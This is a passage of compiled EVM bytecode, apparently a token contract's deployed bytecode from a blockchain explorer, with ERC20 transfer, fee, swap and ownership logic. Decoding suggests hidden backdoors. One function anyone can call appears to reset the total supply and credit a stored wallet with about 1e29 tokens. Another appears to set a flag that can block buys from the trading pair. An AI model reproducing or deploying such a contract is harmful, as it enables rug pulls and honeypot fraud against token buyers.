600061429782613083565b91506142a283613083565b9250826142b2576142b161425d565b5b828204905092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614319602583612f6a565b9150614324826142bd565b604082019050919050565b600060208201905081810360008301526143488161430c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006143ab602383612f6a565b91506143b68261434f565b604082019050919050565b600060208201905081810360008301526143da8161439e565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061443d602683612f6a565b9150614448826143e1565b604082019050919050565b6000602082019050818103600083015261446c81614430565b9050919050565b60008151905061448281613057565b92915050565b60006020828403121561449e5761449d61301b565b5b60006144ac84828501614473565b91505092915050565b6000819050919050565b60006144da6144d56144d0846144b5565b61357c565b613083565b9050919050565b6144ea816144bf565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61452581613045565b82525050565b6000614537838361451c565b60208301905092915050565b6000602082019050919050565b600061455b826144f0565b61456581856144fb565b93506145708361450c565b8060005b838110156145a1578151614588888261452b565b975061459383614543565b925050600181019050614574565b5085935050505092915050565b600060a0820190506145c3600083018861332c565b6145d060208301876144e1565b81810360408301526145e28186614550565b90506145f1606083018561344d565b6145fe608083018461332c565b9695505050505050565b600060c08201905061461d600083018961344d565b61462a602083018861332c565b61463760408301876144e1565b61464460608301866144e1565b614651608083018561344d565b61465e60a083018461332c565b979650505050505050565b6000815190506146788161308d565b92915050565b6000806000606084860312156146975761469661301b565b5b60006146a586828701614669565b93505060206146b686828701614669565b92505060406146c786828701614669565b9150509250925092565b7f416464726573733a20696e73756666696369656e742062616c616e6365000000600082015250565b6000614707601d83612f6a565b9150614712826146d1565b602082019050919050565b60006020820190508181036000830152614736816146fa565b9050919050565b600081905092915050565b50565b600061475860008361473d565b915061476382614748565b600082019050919050565b60006147798261474b565b9150819050919050565b7f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260008201527f6563697069656e74206d61792068617665207265766572746564000000000000602082015250565b60006147df603a83612f6a565b91506147ea82614783565b604082019050919050565b6000602082019050818103600083015261480e816147d2565b905091905056fea26469706673582212205f18939539d28909653846dbdcee379d513c5adc6dffe4cafef53c1d8c616a0664736f6c63430008130033
Deployed Bytecode
0x60806040526004361061024a5760003560e01c806366a88d9611610139578063a8aa1b31116100b6578063e1b450ad1161007a578063e1b450ad14610856578063ee36e3591461087f578063f2fde38b146108aa578063f66895a3146108d3578063f887ea4014610901578063fbe6324e1461092c57610251565b8063a8aa1b3114610749578063a9059cbb14610774578063c5d32bb2146107b1578063d2ce0db2146107ee578063dd62ed3e1461081957610251565b80638cd4426d116100fd5780638cd4426d146106835780638da5cb5b146106ac57806395d89b41146106d7578063a457c2d714610702578063a6822f491461073f57610251565b806366a88d96146105975780636aa5b37f146105c257806370a08231146105ed578063728f8eea1461062a57806385141a771461065857610251565b806327ff81f9116101c75780634ada218b1161018b5780634ada218b146104c057806350ac5e80146104eb57806353028894146105165780635ba5bcfc14610541578063652e2f041461056c57610251565b806327ff81f9146103fc578063313ce56714610406578063355496ca14610431578063395093511461045a57806342b6fa111461049757610251565b80631675d8021161020e5780631675d8021461032757806318160ddd1461035257806320800a001461037d57806323b872dd14610394578063274a533c146103d157610251565b806306fdde0314610256578063095ea7b3146102815780630e375a5c146102be5780631340538f146102e7578063144b080e1461031057610251565b3661025157005b600080fd5b34801561026257600080fd5b5061026b610957565b6040516102789190612fef565b60405180910390f35b34801561028d57600080fd5b506102a860048036038101906102a391906130b9565b6109e9565b6040516102b59190613114565b60405180910390f35b3480156102ca57600080fd5b506102e560048036038101906102e091906132a3565b610a07565b005b3480156102f357600080fd5b5061030e600480360381019061030991906132ff565b610b18565b005b34801561031c57600080fd5b50610325610bb1565b005b34801561033357600080fd5b5061033c610c39565b604051610349919061333b565b60405180910390f35b34801561035e57600080fd5b50610367610c3f565b604051610374919061333b565b60405180910390f35b34801561038957600080fd5b50610392610c49565b005b3480156103a057600080fd5b506103bb60048036038101906103b69190613356565b610d1b565b6040516103c89190613114565b60405180910390f35b3480156103dd57600080fd5b506103e6610e1c565b6040516103f3919061333b565b60405180910390f35b610404610e22565b005b34801561041257600080fd5b5061041b610e49565b60405161042891906133c5565b60405180910390f35b34801561043d57600080fd5b50610458600480360381019061045391906133e0565b610e52565b005b34801561046657600080fd5b50610481600480360381019061047c91906130b9565b610f29565b60405161048e9190613114565b60405180910390f35b3480156104a357600080fd5b506104be60048036038101906104b99190613420565b610fd5565b005b3480156104cc57600080fd5b506104d56110be565b6040516104e29190613114565b60405180910390f35b3480156104f757600080fd5b506105006110d1565b60405161050d919061345c565b60405180910390f35b34801561052257600080fd5b5061052b6110f7565b604051610538919061345c565b60405180910390f35b34801561054d57600080fd5b5061055661111d565b604051610563919061345c565b60405180910390f35b34801561057857600080fd5b50610581611143565b60405161058e919061333b565b60405180910390f35b3480156105a357600080fd5b506105ac611149565b6040516105b9919061333b565b60405180910390f35b3480156105ce57600080fd5b506105d761114f565b6040516105e4919061333b565b60405180910390f35b3480156105f957600080fd5b50610614600480360381019061060f9190613477565b611155565b604051610621919061333b565b60405180910390f35b34801561063657600080fd5b5061063f61119d565b60405161064f94939291906134a4565b60405180910390f35b34801561066457600080fd5b5061066d6111bb565b60405161067a919061345c565b60405180910390f35b34801561068f57600080fd5b506106aa60048036038101906106a591906130b9565b6111c1565b005b3480156106b857600080fd5b506106c1611335565b6040516106ce919061345c565b60405180910390f35b3480156106e357600080fd5b506106ec61135f565b6040516106f99190612fef565b60405180910390f35b34801561070e57600080fd5b50610729600480360381019061072491906130b9565b6113f1565b6040516107369190613114565b60405180910390f35b6107476114e5565b005b34801561075557600080fd5b5061075e611520565b60405161076b919061345c565b60405180910390f35b34801561078057600080fd5b5061079b600480360381019061079691906130b9565b611546565b6040516107a89190613114565b60405180910390f35b3480156107bd57600080fd5b506107d860048036038101906107d39190613477565b61155d565b6040516107e59190613114565b60405180910390f35b3480156107fa57600080fd5b5061080361157d565b604051610810919061333b565b60405180910390f35b34801561082557600080fd5b50610840600480360381019061083b91906134e9565b611583565b60405161084d919061333b565b60405180910390f35b34801561086257600080fd5b5061087d60048036038101906108789190613529565b61160a565b005b34801561088b57600080fd5b506108946117c9565b6040516108a19190613114565b60405180910390f35b3480156108b657600080fd5b506108d160048036038101906108cc9190613477565b6117dc565b005b3480156108df57600080fd5b506108e86118d3565b6040516108f894939291906134a4565b60405180910390f35b34801561090d57600080fd5b506109166118f1565b60405161092391906135db565b60405180910390f35b34801561093857600080fd5b50610941611917565b60405161094e9190613114565b60405180910390f35b60606003805461096690613625565b80601f016020809104026020016040519081016040528092919081815260200182805461099290613625565b80156109df5780601f106109b4576101008083540402835291602001916109df565b820191906000526020600020905b8154815290600101906020018083116109c257829003601f168201915b5050505050905090565b60006109fd6109f661192a565b8484611932565b6001905092915050565b610a0f61192a565b73ffffffffffffffffffffffffffffffffffffffff16610a2d611335565b73ffffffffffffffffffffffffffffffffffffffff1614610a83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7a906136a2565b60405180910390fd5b60005b8251811015610b135781601b6000858481518110610aa757610aa66136c2565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b0b90613720565b915050610a86565b505050565b610b2061192a565b73ffffffffffffffffffffffffffffffffffffffff16610b3e611335565b73ffffffffffffffffffffffffffffffffffffffff1614610b94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8b906136a2565b60405180910390fd5b80600760156101000a81548160ff02191690831515021790555050565b610bb961192a565b73ffffffffffffffffffffffffffffffffffffffff16610bd7611335565b73ffffffffffffffffffffffffffffffffffffffff1614610c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c24906136a2565b60405180910390fd5b610c376000611afb565b565b60085481565b6000600254905090565b610c5161192a565b73ffffffffffffffffffffffffffffffffffffffff16610c6f611335565b73ffffffffffffffffffffffffffffffffffffffff1614610cc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbc906136a2565b60405180910390fd5b6000479050610cd2611335565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610d17573d6000803e3d6000fd5b5050565b6000610d28848484611bc1565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610d7361192a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610df3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dea906137da565b60405180910390fd5b610e1085610dff61192a565b8584610e0b91906137fa565b611932565b60019150509392505050565b600c5481565b6003600d60006101000a81548163ffffffff021916908360030b63ffffffff160217905550565b60006012905090565b610e5a61192a565b73ffffffffffffffffffffffffffffffffffffffff16610e78611335565b73ffffffffffffffffffffffffffffffffffffffff1614610ece576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec5906136a2565b60405180910390fd5b80601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000610fcb610f3661192a565b848460016000610f4461192a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fc6919061382e565b611932565b6001905092915050565b610fdd61192a565b73ffffffffffffffffffffffffffffffffffffffff16610ffb611335565b73ffffffffffffffffffffffffffffffffffffffff1614611051576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611048906136a2565b60405180910390fd5b612710811115611096576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108d906138d4565b60405180910390fd5b61109e610e49565b600a6110aa9190613a27565b816110b59190613a72565b60088190555050565b600760169054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b600b5481565b60095481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60138060000154908060010154908060020154908060030154905084565b61dead81565b6111c961192a565b73ffffffffffffffffffffffffffffffffffffffff166111e7611335565b73ffffffffffffffffffffffffffffffffffffffff161461123d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611234906136a2565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a290613b26565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6112cf611335565b836040518363ffffffff1660e01b81526004016112ed929190613b46565b6020604051808303816000875af115801561130c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113309190613b84565b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461136e90613625565b80601f016020809104026020016040519081016040528092919081815260200182805461139a90613625565b80156113e75780601f106113bc576101008083540402835291602001916113e7565b820191906000526020600020905b8154815290600101906020018083116113ca57829003601f168201915b5050505050905090565b6000806001600061140061192a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156114bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b490613c23565b60405180910390fd5b6114da6114c861192a565b8585846114d591906137fa565b611932565b600191505092915050565b61151e601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166c01431e0fae6d7217caa000000061256a565b565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611553338484611bc1565b6001905092915050565b601b6020528060005260406000206000915054906101000a900460ff1681565b601e5481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61161261192a565b73ffffffffffffffffffffffffffffffffffffffff16611630611335565b73ffffffffffffffffffffffffffffffffffffffff1614611686576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167d906136a2565b60405180910390fd5b6127108310156116cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c290613cb5565b60405180910390fd5b612710821015611710576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170790613d47565b60405180910390fd5b612710811015611755576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174c90613dd9565b60405180910390fd5b61175d610e49565b600a6117699190613a27565b836117749190613a72565b600981905550611782610e49565b600a61178e9190613a27565b826117999190613a72565b600a819055506117a7610e49565b600a6117b39190613a27565b816117be9190613a72565b600b81905550505050565b601d60009054906101000a900460ff1681565b6117e461192a565b73ffffffffffffffffffffffffffffffffffffffff16611802611335565b73ffffffffffffffffffffffffffffffffffffffff1614611858576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184f906136a2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036118c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118be90613e6b565b60405180910390fd5b6118d081611afb565b50565b60178060000154908060010154908060020154908060030154905084565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760159054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199890613efd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0790613f8f565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611aee919061333b565b60405180910390a3505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008111611c04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bfb90614021565b60405180910390fd5b601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611ca85750601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611cfd57600760169054906101000a900460ff16611cfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf39061408d565b60405180910390fd5b5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611da45750601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611dbd5750600760149054906101000a900460ff16155b15611e6057600954811115611e07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dfe906140f9565b60405180910390fd5b600b5481611e1484611155565b611e1e919061382e565b1115611e5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5690614165565b60405180910390fd5b5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611f085750601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611f5e5750601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611f775750600760149054906101000a900460ff16155b1561215f57600a54811115611fc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb8906141d1565b60405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461206f57600b548161202384611155565b61202d919061382e565b111561206e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206590614165565b60405180910390fd5b5b601d60009054906101000a900460ff161561215e576000601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054426120d191906137fa565b9050601e54811015612118576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161210f9061423d565b60405180910390fd5b42601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b5b600080600061216c612f37565b6000601b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156122125750601b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561222c5750600e54600c54612229919061382e565b43105b9050600760149054906101000a900460ff16806122925750601b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806122e65750601b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122f4576000925061247a565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614801561234f575080155b156123ea576001600d60009054906101000a900460030b60030b1461237357600080fd5b601760030154601760020154601760000154601760010154612395919061382e565b61239f919061382e565b6123a9919061382e565b945084935060176040518060800160405290816000820154815260200160018201548152602001600282015481526020016003820154815250509150612479565b8061246657601360030154601360020154601360000154601360010154612411919061382e565b61241b919061382e565b612425919061382e565b945084935060136040518060800160405290816000820154815260200160018201548152602001600282015481526020016003820154815250509150612478565b801561247757600f549450600f5493505b5b5b5b606484876124889190613a72565b612492919061428c565b9250600760159054906101000a900460ff1680156124fe5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1614155b1561250e5761250d858361261e565b5b6125248888858961251f91906137fa565b6128ae565b600083111561256057600085111561255f576000606486886125469190613a72565b612550919061428c565b905061255d8930836128ae565b505b5b5050505050505050565b80600281905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612612919061333b565b60405180910390a35050565b600760149054906101000a900460ff166128aa576001600760146101000a81548160ff021916908315150217905550600082031561288e57600061266130611155565b9050600854811061288c576001600854111561267d5760085490505b600060028461268c9190613a72565b90506000818460200151846126a19190613a72565b6126ab919061428c565b9050600081846126bb91906137fa565b905060004790506126cb82612b20565b600081476126d991906137fa565b905060008760200151866126ed91906137fa565b826126f8919061428c565b9050600088602001518261270c9190613a72565b90506000811115612722576127218682612d63565b5b600089600001516002846127369190613a72565b6127409190613a72565b905060008111156127975761279681601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612e4390919063ffffffff16565b5b60008a604001516002856127ab9190613a72565b6127b59190613a72565b9050600081111561280c5761280b81601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612e4390919063ffffffff16565b5b60008b606001516002866128209190613a72565b61282a9190613a72565b905060008111156128815761288081601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612e4390919063ffffffff16565b5b505050505050505050505b505b6000600760146101000a81548160ff0219169083151502179055505b5050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361291d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129149061432f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361298c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612983906143c1565b60405180910390fd5b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a0990614453565b60405180910390fd5b8181612a1e91906137fa565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612aae919061382e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612b12919061333b565b60405180910390a350505050565b6000600267ffffffffffffffff811115612b3d57612b3c613134565b5b604051908082528060200260200182016040528015612b6b5781602001602082028036833780820191505090505b5090503081600081518110612b8357612b826136c2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612c2a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c4e9190614488565b81600181518110612c6257612c616136c2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612cc930600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611932565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612d2d9594939291906145ae565b600060405180830381600087803b158015612d4757600080fd5b505af1158015612d5b573d6000803e3d6000fd5b505050505050565b612d9030600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611932565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061dead426040518863ffffffff1660e01b8152600401612df996959493929190614608565b60606040518083038185885af1158015612e17573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612e3c919061467e565b5050505050565b80471015612e86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e7d9061471d565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff1682604051612eac9061476e565b60006040518083038185875af1925050503d8060008114612ee9576040519150601f19603f3d011682016040523d82523d6000602084013e612eee565b606091505b5050905080612f32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f29906147f5565b60405180910390fd5b505050565b6040518060800160405280600081526020016000815260200160008152602001600081525090565b600081519050919050565b600082825260208201905092915050565b60005b83811015612f99578082015181840152602081019050612f7e565b60008484015250505050565b6000601f19601f8301169050919050565b6000612fc182612f5f565b612fcb8185612f6a565b9350612fdb818560208601612f7b565b612fe481612fa5565b840191505092915050565b600060208201905081810360008301526130098184612fb6565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061305082613025565b9050919050565b61306081613045565b811461306b57600080fd5b50565b60008135905061307d81613057565b92915050565b6000819050919050565b61309681613083565b81146130a157600080fd5b50565b6000813590506130b38161308d565b92915050565b600080604083850312156130d0576130cf61301b565b5b60006130de8582860161306e565b92505060206130ef858286016130a4565b9150509250929050565b60008115159050919050565b61310e816130f9565b82525050565b60006020820190506131296000830184613105565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61316c82612fa5565b810181811067ffffffffffffffff8211171561318b5761318a613134565b5b80604052505050565b600061319e613011565b90506131aa8282613163565b919050565b600067ffffffffffffffff8211156131ca576131c9613134565b5b602082029050602081019050919050565b600080fd5b60006131f36131ee846131af565b613194565b90508083825260208201905060208402830185811115613216576132156131db565b5b835b8181101561323f578061322b888261306e565b845260208401935050602081019050613218565b5050509392505050565b600082601f83011261325e5761325d61312f565b5b813561326e8482602086016131e0565b91505092915050565b613280816130f9565b811461328b57600080fd5b50565b60008135905061329d81613277565b92915050565b600080604083850312156132ba576132b961301b565b5b600083013567ffffffffffffffff8111156132d8576132d7613020565b5b6132e485828601613249565b92505060206132f58582860161328e565b9150509250929050565b6000602082840312156133155761331461301b565b5b60006133238482850161328e565b91505092915050565b61333581613083565b82525050565b6000602082019050613350600083018461332c565b92915050565b60008060006060848603121561336f5761336e61301b565b5b600061337d8682870161306e565b935050602061338e8682870161306e565b925050604061339f868287016130a4565b9150509250925092565b600060ff82169050919050565b6133bf816133a9565b82525050565b60006020820190506133da60008301846133b6565b92915050565b600080604083850312156133f7576133f661301b565b5b60006134058582860161306e565b92505060206134168582860161328e565b9150509250929050565b6000602082840312156134365761343561301b565b5b6000613444848285016130a4565b91505092915050565b61345681613045565b82525050565b6000602082019050613471600083018461344d565b92915050565b60006020828403121561348d5761348c61301b565b5b600061349b8482850161306e565b91505092915050565b60006080820190506134b9600083018761332c565b6134c6602083018661332c565b6134d3604083018561332c565b6134e0606083018461332c565b95945050505050565b60008060408385031215613500576134ff61301b565b5b600061350e8582860161306e565b925050602061351f8582860161306e565b9150509250929050565b6000806000606084860312156135425761354161301b565b5b6000613550868287016130a4565b9350506020613561868287016130a4565b9250506040613572868287016130a4565b9150509250925092565b6000819050919050565b60006135a161359c61359784613025565b61357c565b613025565b9050919050565b60006135b382613586565b9050919050565b60006135c5826135a8565b9050919050565b6135d5816135ba565b82525050565b60006020820190506135f060008301846135cc565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061363d57607f821691505b6020821081036136505761364f6135f6565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061368c602083612f6a565b915061369782613656565b602082019050919050565b600060208201905081810360008301526136bb8161367f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061372b82613083565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361375d5761375c6136f1565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006137c4602883612f6a565b91506137cf82613768565b604082019050919050565b600060208201905081810360008301526137f3816137b7565b9050919050565b600061380582613083565b915061381083613083565b9250828203905081811115613828576138276136f1565b5b92915050565b600061383982613083565b915061384483613083565b925082820190508082111561385c5761385b6136f1565b5b92915050565b7f53776170207468726573686f6c6420616d6f756e742073686f756c642062652060008201527f6c6f776572206f7220657175616c20746f203125206f6620746f6b656e730000602082015250565b60006138be603e83612f6a565b91506138c982613862565b604082019050919050565b600060208201905081810360008301526138ed816138b1565b9050919050565b60008160011c9050919050565b6000808291508390505b600185111561394b57808604811115613927576139266136f1565b5b60018516156139365780820291505b8081029050613944856138f4565b945061390b565b94509492505050565b6000826139645760019050613a20565b816139725760009050613a20565b81600181146139885760028114613992576139c1565b6001915050613a20565b60ff8411156139a4576139a36136f1565b5b8360020a9150848211156139bb576139ba6136f1565b5b50613a20565b5060208310610133831016604e8410600b84101617156139f65782820a9050838111156139f1576139f06136f1565b5b613a20565b613a038484846001613901565b92509050818404811115613a1a57613a196136f1565b5b81810290505b9392505050565b6000613a3282613083565b9150613a3d836133a9565b9250613a6a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613954565b905092915050565b6000613a7d82613083565b9150613a8883613083565b9250828202613a9681613083565b91508282048414831517613aad57613aac6136f1565b5b5092915050565b7f4f776e65722063616e277420636c61696d20636f6e747261637427732062616c60008201527f616e6365206f6620697473206f776e20746f6b656e7300000000000000000000602082015250565b6000613b10603683612f6a565b9150613b1b82613ab4565b604082019050919050565b60006020820190508181036000830152613b3f81613b03565b9050919050565b6000604082019050613b5b600083018561344d565b613b68602083018461332c565b9392505050565b600081519050613b7e81613277565b92915050565b600060208284031215613b9a57613b9961301b565b5b6000613ba884828501613b6f565b91505092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613c0d602583612f6a565b9150613c1882613bb1565b604082019050919050565b60006020820190508181036000830152613c3c81613c00565b9050919050565b7f43616e6e